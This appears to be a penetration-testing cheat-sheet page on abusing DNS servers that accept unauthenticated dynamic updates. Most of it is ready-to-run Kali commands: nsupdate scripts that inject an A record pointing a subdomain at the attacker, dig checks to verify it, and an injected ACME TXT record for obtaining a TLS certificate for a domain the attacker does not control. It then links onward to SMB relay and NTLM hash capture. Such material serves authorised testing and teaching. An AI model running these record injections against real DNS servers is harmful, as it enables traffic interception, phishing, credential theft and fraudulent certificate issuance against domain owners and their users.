Skip to content
HackIndex logo

HackIndex

Insecure DNS Dynamic Updates (RFC 2136)

1 min read May 15, 2026

DNS servers configured to allow unauthenticated dynamic updates (RFC 2136) allow external attackers to modify zone files. This enables traffic interception, phishing, and circumvention of domain validation checks.

Injecting an A Record

Use nsupdate to push a new A record into the target zone. This routes traffic destined for a specific subdomain directly to your attacking machine. Create a text file containing the update instructions and pass it to the tool.

┌──(kali㉿kali)-[~]
└─$ cat <<EOF > update.txt
server $TARGET_IP
zone $DOMAIN
update add compromised.$DOMAIN 3600 A $LHOST
show
send
EOF
┌──(kali㉿kali)-[~]
└─$ nsupdate update.txt

If the server accepts the update, the command will return silently or output the outbound packet details without an error code like REFUSED or SERVFAIL.

Verifying the Injected Record

Query the DNS server directly to confirm the record propagated and resolves to your listener IP.

┌──(kali㉿kali)-[~]
└─$ dig @$TARGET_IP compromised.$DOMAIN A +short 
192.168.1.50

With the A record established, you can stand up a web server or an SMB relay listener on $LHOST to capture traffic directed to compromised.$DOMAIN.

Injecting a TXT Record for Domain Validation

Many Certificate Authorities and third-party services rely on DNS TXT records to verify domain ownership. Injecting a TXT record allows you to claim administrative control over the domain for external services.

┌──(kali㉿kali)-[~]
└─$ cat <<EOF > txt_update.txt
server $TARGET_IP
zone $DOMAIN
update add _acme-challenge.$DOMAIN 3600 TXT "validation_token_string"
show
send
EOF
┌──(kali㉿kali)-[~]
└─$ nsupdate txt_update.txt

Verify the TXT record using dig. Once confirmed, proceed with the external service verification process (such as requesting a Let's Encrypt TLS certificate for the domain).

With a record injected, pair with ADIDNS Poisoning and Hijacking for broader AD DNS control. Redirect traffic through the injected record into an SMB relay listener — see SMB NTLM Relay. For capturing NTLM hashes via WPAD, see WPAD DNS Credential Capture with Responder.